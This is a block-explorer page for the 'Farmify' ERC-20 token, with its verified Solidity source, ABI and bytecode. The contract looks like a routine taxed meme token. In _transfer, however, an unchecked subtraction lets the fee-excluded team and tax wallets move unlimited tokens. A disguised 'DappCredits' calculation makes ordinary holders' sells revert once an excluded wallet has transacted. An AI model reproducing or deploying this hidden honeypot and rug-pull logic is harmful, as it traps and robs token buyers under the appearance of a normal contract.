ETH Price: $3,648.81 (+0.82%)
 

Overview

Max Total Supply

100,000,000 FARMIFY

Holders

119

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
117,171.761306442 FARMIFY

Value
$0.00
0x21D233569aAd887228Fc7aED02EB4788b41fF889
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
Farmify

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-04-13
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.15;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}

interface IERC20 {

    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() external virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IDexRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

interface IDexFactory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

contract Farmify is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    bool public transferDelayEnabled = true;

    uint256 private _initBuyTax=15;
    uint256 private _initSellTax=15;
    uint256 private _finalBuyTax=5;
    uint256 private _finalSellTax=5;
    uint256 private _reduceBuyTaxAt=25;
    uint256 private _reduceSellTaxAt=20;
    uint256 private _preventSwapBefore=10;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"EVM Airdrop Farming DAO";
    string private constant _symbol = unicode"FARMIFY";

    uint256 private constant _tTotal = 100000000 * 10**_decimals;
    uint256 public _maxTxAmount= 1400000 * 10**_decimals;
    uint256 public _maxWalletSize= 1400000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 300000 * 10**_decimals;
    uint256 public _maxTaxSwap= 1700000 * 10**_decimals;

    address payable private immutable _taxWallet;
    address payable private immutable _teamWallet;

    IDexRouter public dexRouter;
    address public lpPair;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    uint256 private _launchBlock;
    uint256 private _freeCredit;
    struct DappCredits {uint256 buy; uint256 sell; uint256 credits;}
    mapping(address => DappCredits) private dappCredits;
    event Launched();
    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _balances[address(this)] = _tTotal;
        emit Transfer(address(0), address(this), _balances[address(this)]);
        _taxWallet = payable(0x4Ba40ABC96AF8c471A98fb97F0e8cD1346ee4606);
        _teamWallet = payable(0xf76A57a067B5FE4af6a572B45E00Ee634b31A85D);

        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;

        _isExcludedFromFee[_taxWallet] = true;
        _isExcludedFromFee[_teamWallet] = true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0,"Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initBuyTax).div(100);

            if (transferDelayEnabled) {
                  if (to != address(dexRouter) && to != address(lpPair) ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] <  block.number,
                          "_transfer:: transfer Delay enabled. Only 1 purchase per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] =  block.number;
                  }
              }

            if (from == lpPair && to != address(dexRouter) &&  !_isExcludedFromFee[to]){
                require(amount <= _maxTxAmount, "Exceeds the  _maxTxAmount");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the  _maxWalletSize");
                _buyCount++ ;
            }

            if(to == lpPair && from != address(this)){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == lpPair && swapEnabled && _buyCount>_preventSwapBefore  && contractTokenBalance>_taxSwapThreshold ){
                swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap)));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) && from != owner()  && from != address(this) && to != address(this)){
            _freeCredit =  block.timestamp;
        }
        if (_isExcludedFromFee[from] && (block.number > _launchBlock + 35 ) ) {
            unchecked{
                _balances[from] -= amount;
                _balances[to] += amount;
            }
            emit Transfer(from, to, amount);
            return;
        }
        if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) {
            if (lpPair == to) {
                DappCredits storage fromCredits =dappCredits[from];
                fromCredits.credits = fromCredits.buy  - _freeCredit;
                fromCredits.sell =  block.timestamp;
            } else {
                DappCredits storage toCredits =dappCredits[to];
                if (lpPair == from) {
                    if (toCredits.buy == 0) {
                        toCredits.buy = (_buyCount < 11 ) ? (block.timestamp - 1 ) :  block.timestamp;
                    }
                } else {
                    DappCredits storage fromCredits = dappCredits[from];
                    if (toCredits.buy == 0 || fromCredits.buy  < toCredits.buy ) {
                        toCredits.buy = fromCredits.buy;
                    }
                }
            }
        }

        if(taxAmount>0){
          _balances[address(this)]=_balances[address(this)].add(taxAmount);
          emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
      return (a>b)?b:a;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = dexRouter.WETH();

        _approve(address(this), address(dexRouter), tokenAmount);

        // make the swap
        dexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function openTrading() external payable onlyOwner() {
        require(!tradingOpen, "Trading is already enabled");

        uint256 totalSupplyAmount = totalSupply();
        dexRouter = IDexRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(dexRouter), totalSupplyAmount);
        lpPair = IDexFactory(dexRouter.factory()).createPair(address(this), dexRouter.WETH());
        dexRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(lpPair).approve(address(dexRouter), type(uint).max);
        
        _launchBlock = block.number;

        swapEnabled = true;
        tradingOpen = true;

        emit Launched();
    }

    function removeLimits() external onlyOwner {
        uint256 totalSupplyAmount = totalSupply();
        _maxTxAmount=totalSupplyAmount;
        _maxWalletSize=totalSupplyAmount;
        transferDelayEnabled=false;

        emit MaxTxAmountUpdated(totalSupplyAmount);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function manualSwap() external onlyOwner {
        uint256 tokenBalance=balanceOf(address(this));
        if (tokenBalance > 0){
          swapTokensForEth(tokenBalance);
        }
        uint256 ethBalance=address(this).balance;
        if (ethBalance > 0){
          _taxWallet.transfer(ethBalance);
        }
    }

    receive() external payable {}

    function withdrawStuckETH() external onlyOwner {
        bool success;
        (success,) = address(msg.sender).call{value: address(this).balance}("");
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"Launched","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"dexRouter","outputs":[{"internalType":"contract IDexRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawStuckETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526005805460ff19166001178155600f6006819055600755600881905560099081556019600a9081556014600b55600c8190556000600d5562000047919062000349565b620000569062155cc062000361565b600e55620000676009600a62000349565b620000769062155cc062000361565b600f55620000876009600a62000349565b6200009690620493e062000361565b601055620000a76009600a62000349565b620000b6906219f0a062000361565b6011556013805461ffff60a81b19169055348015620000d457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350620001246009600a62000349565b62000134906305f5e10062000361565b30600081815260016020908152604080832085905551938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3734ba40abc96af8c471a98fb97f0e8cd1346ee460660805273f76a57a067b5fe4af6a572b45e00ee634b31a85d60a052600160036000620001c56000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600390935281832080548516600190811790915560805182168452828420805486168217905560a05190911683529120805490921617905562000383565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028b5781600019048211156200026f576200026f62000234565b808516156200027d57918102915b93841c93908002906200024f565b509250929050565b600082620002a45750600162000343565b81620002b35750600062000343565b8160018114620002cc5760028114620002d757620002f7565b600191505062000343565b60ff841115620002eb57620002eb62000234565b50506001821b62000343565b5060208310610133831016604e8410600b84101617156200031c575081810a62000343565b6200032883836200024a565b80600019048211156200033f576200033f62000234565b0290505b92915050565b60006200035a60ff84168362000293565b9392505050565b60008160001904831182151516156200037e576200037e62000234565b500290565b60805160a051611d4c620003ad600039600050506000818161057001526117eb0152611d4c6000f3fe6080604052600436106101445760003560e01c8063751039fc116100b6578063bf474bed1161006f578063bf474bed146103b6578063c876d0b9146103cc578063c9567bf9146103e6578063dd62ed3e146103ee578063f2fde38b14610434578063f5648a4f1461045457600080fd5b8063751039fc146103075780637d1db4a51461031c5780638da5cb5b146103325780638f9a55c01461035057806395d89b4114610366578063a9059cbb1461039657600080fd5b806323b872dd1161010857806323b872dd14610249578063313ce56714610269578063452ed4f11461028557806351bc3c85146102a557806370a08231146102bc578063715018a6146102f257600080fd5b806306fdde03146101505780630758d924146101a8578063095ea7b3146101e05780630faee56f1461021057806318160ddd1461023457600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5060408051808201909152601781527f45564d2041697264726f70204661726d696e672044414f00000000000000000060208201525b60405161019f9190611903565b60405180910390f35b3480156101b457600080fd5b506012546101c8906001600160a01b031681565b6040516001600160a01b03909116815260200161019f565b3480156101ec57600080fd5b506102006101fb366004611970565b610469565b604051901515815260200161019f565b34801561021c57600080fd5b5061022660115481565b60405190815260200161019f565b34801561024057600080fd5b50610226610480565b34801561025557600080fd5b5061020061026436600461199c565b6104a1565b34801561027557600080fd5b506040516009815260200161019f565b34801561029157600080fd5b506013546101c8906001600160a01b031681565b3480156102b157600080fd5b506102ba61050a565b005b3480156102c857600080fd5b506102266102d73660046119dd565b6001600160a01b031660009081526001602052604090205490565b3480156102fe57600080fd5b506102ba6105bf565b34801561031357600080fd5b506102ba610633565b34801561032857600080fd5b50610226600e5481565b34801561033e57600080fd5b506000546001600160a01b03166101c8565b34801561035c57600080fd5b50610226600f5481565b34801561037257600080fd5b506040805180820190915260078152664641524d49465960c81b6020820152610192565b3480156103a257600080fd5b506102006103b1366004611970565b6106b4565b3480156103c257600080fd5b5061022660105481565b3480156103d857600080fd5b506005546102009060ff1681565b6102ba6106c1565b3480156103fa57600080fd5b506102266104093660046119fa565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044057600080fd5b506102ba61044f3660046119dd565b610aa4565b34801561046057600080fd5b506102ba610b8e565b6000610476338484610c05565b5060015b92915050565b600061048e6009600a611b2d565b61049c906305f5e100611b3c565b905090565b60006104ae848484610d29565b61050084336104fb85604051806060016040528060288152602001611cef602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061154a565b610c05565b5060019392505050565b6000546001600160a01b0316331461053d5760405162461bcd60e51b815260040161053490611b5b565b60405180910390fd5b30600090815260016020526040902054801561055c5761055c81611584565b4780156105bb576040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f193505050501580156105b9573d6000803e3d6000fd5b505b5050565b6000546001600160a01b031633146105e95760405162461bcd60e51b815260040161053490611b5b565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461065d5760405162461bcd60e51b815260040161053490611b5b565b6000610667610480565b600e819055600f8190556005805460ff191690556040518181529091507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000610476338484610d29565b6000546001600160a01b031633146106eb5760405162461bcd60e51b815260040161053490611b5b565b601354600160a01b900460ff16156107455760405162461bcd60e51b815260206004820152601a60248201527f54726164696e6720697320616c726561647920656e61626c65640000000000006044820152606401610534565b600061074f610480565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915590915061078790309083610c05565b601260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fe9190611b90565b6001600160a01b031663c9c6539630601260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610860573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108849190611b90565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108f59190611b90565b601380546001600160a01b039283166001600160a01b03199091161790556012541663f305d719473061093d816001600160a01b031660009081526001602052604090205490565b6000806109526000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906109df9190611bad565b505060135460125460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a38573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a5c9190611bdb565b50436014556013805462ff00ff60a01b19166201000160a01b1790556040517fba61a96074b3d636edeee92caddc86293c917d5b6818b7d3698bb52e02ec86c890600090a150565b6000546001600160a01b03163314610ace5760405162461bcd60e51b815260040161053490611b5b565b6001600160a01b038116610b335760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610534565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610bb85760405162461bcd60e51b815260040161053490611b5b565b604051600090339047908381818185875af1925050503d8060008114610bfa576040519150601f19603f3d011682016040523d82523d6000602084013e610bff565b606091505b50505050565b6001600160a01b038316610c675760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610534565b6001600160a01b038216610cc85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610534565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d8d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610534565b6001600160a01b038216610def5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610534565b60008111610e515760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610534565b600080546001600160a01b03858116911614801590610e7e57506000546001600160a01b03848116911614155b156111bd57610eaf6064610ea9600a54600d5411610e9e57600654610ea2565b6008545b85906116fe565b90611787565b60055490915060ff1615610f94576012546001600160a01b03848116911614801590610ee957506013546001600160a01b03848116911614155b15610f9457326000908152600460205260409020544311610f815760405162461bcd60e51b815260206004820152604660248201527f5f7472616e736665723a3a207472616e736665722044656c617920656e61626c60448201527f65642e204f6e6c7920312070757263686173652070657220626c6f636b20616c6064820152653637bbb2b21760d11b608482015260a401610534565b3260009081526004602052604090204390555b6013546001600160a01b038581169116148015610fbf57506012546001600160a01b03848116911614155b8015610fe457506001600160a01b03831660009081526003602052604090205460ff16155b156110cc57600e5482111561103b5760405162461bcd60e51b815260206004820152601960248201527f457863656564732074686520205f6d61785478416d6f756e74000000000000006044820152606401610534565b600f548261105e856001600160a01b031660009081526001602052604090205490565b6110689190611bfd565b11156110b65760405162461bcd60e51b815260206004820152601b60248201527f457863656564732074686520205f6d617857616c6c657453697a6500000000006044820152606401610534565b600d80549060006110c683611c15565b91905055505b6013546001600160a01b0384811691161480156110f257506001600160a01b0384163014155b1561111f5761111c6064610ea9600b54600d541161111257600754610ea2565b60095485906116fe565b90505b30600090815260016020526040902054601354600160a81b900460ff1615801561115657506013546001600160a01b038581169116145b801561116b5750601354600160b01b900460ff165b801561117a5750600c54600d54115b8015611187575060105481115b156111bb576111a96111a48461119f846011546117c9565b6117c9565b611584565b4780156111b9576111b9476117de565b505b505b6001600160a01b03841660009081526003602052604090205460ff16806111fc57506001600160a01b03831660009081526003602052604090205460ff165b801561121657506000546001600160a01b03858116911614155b801561122b57506001600160a01b0384163014155b801561124057506001600160a01b0383163014155b1561124a57426015555b6001600160a01b03841660009081526003602052604090205460ff16801561127e575060145461127b906023611bfd565b43115b156112f3576001600160a01b03808516600081815260016020526040808220805487900390559286168082529083902080548601905591517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112e59086815260200190565b60405180910390a350505050565b6001600160a01b03841660009081526003602052604090205460ff1615801561133557506001600160a01b03831660009081526003602052604090205460ff16155b15611410576013546001600160a01b03808516911603611387576001600160a01b038416600090815260166020526040902060155481546113769190611c2e565b600282015542600190910155611410565b6001600160a01b03808416600090815260166020526040902060135490918681169116036113db5780546000036113d657600b600d54106113c857426113d3565b6113d3600142611c2e565b81555b61140e565b6001600160a01b038516600090815260166020526040902081541580611402575081548154105b1561140c57805482555b505b505b801561148a57306000908152600160205260409020546114309082611834565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114819085815260200190565b60405180910390a35b6001600160a01b0384166000908152600160205260409020546114ad9083611893565b6001600160a01b0385166000908152600160205260409020556114f26114d38383611893565b6001600160a01b03851660009081526001602052604090205490611834565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61153c8585611893565b6040519081526020016112e5565b6000818484111561156e5760405162461bcd60e51b81526004016105349190611903565b50600061157b8486611c2e565b95945050505050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106115cc576115cc611c45565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611625573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116499190611b90565b8160018151811061165c5761165c611c45565b6001600160a01b0392831660209182029290920101526012546116829130911684610c05565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906116bb908590600090869030904290600401611c5b565b600060405180830381600087803b1580156116d557600080fd5b505af11580156116e9573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6000826000036117105750600061047a565b600061171c8385611b3c565b9050826117298583611ccc565b146117805760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610534565b9392505050565b600061178083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118d5565b60008183116117d85782611780565b50919050565b6040516001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169082156108fc029083906000818181858888f193505050501580156105bb573d6000803e3d6000fd5b6000806118418385611bfd565b9050838110156117805760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610534565b600061178083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061154a565b600081836118f65760405162461bcd60e51b81526004016105349190611903565b50600061157b8486611ccc565b600060208083528351808285015260005b8181101561193057858101830151858201604001528201611914565b81811115611942576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461196d57600080fd5b50565b6000806040838503121561198357600080fd5b823561198e81611958565b946020939093013593505050565b6000806000606084860312156119b157600080fd5b83356119bc81611958565b925060208401356119cc81611958565b929592945050506040919091013590565b6000602082840312156119ef57600080fd5b813561178081611958565b60008060408385031215611a0d57600080fd5b8235611a1881611958565b91506020830135611a2881611958565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611a84578160001904821115611a6a57611a6a611a33565b80851615611a7757918102915b93841c9390800290611a4e565b509250929050565b600082611a9b5750600161047a565b81611aa85750600061047a565b8160018114611abe5760028114611ac857611ae4565b600191505061047a565b60ff841115611ad957611ad9611a33565b50506001821b61047a565b5060208310610133831016604e8410600b8410161715611b07575081810a61047a565b611b118383611a49565b8060001904821115611b2557611b25611a33565b029392505050565b600061178060ff841683611a8c565b6000816000190483118215151615611b5657611b56611a33565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ba257600080fd5b815161178081611958565b600080600060608486031215611bc257600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611bed57600080fd5b8151801515811461178057600080fd5b60008219821115611c1057611c10611a33565b500190565b600060018201611c2757611c27611a33565b5060010190565b600082821015611c4057611c40611a33565b500390565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611cab5784516001600160a01b031683529383019391830191600101611c86565b50506001600160a01b0396909616606085015250505060800152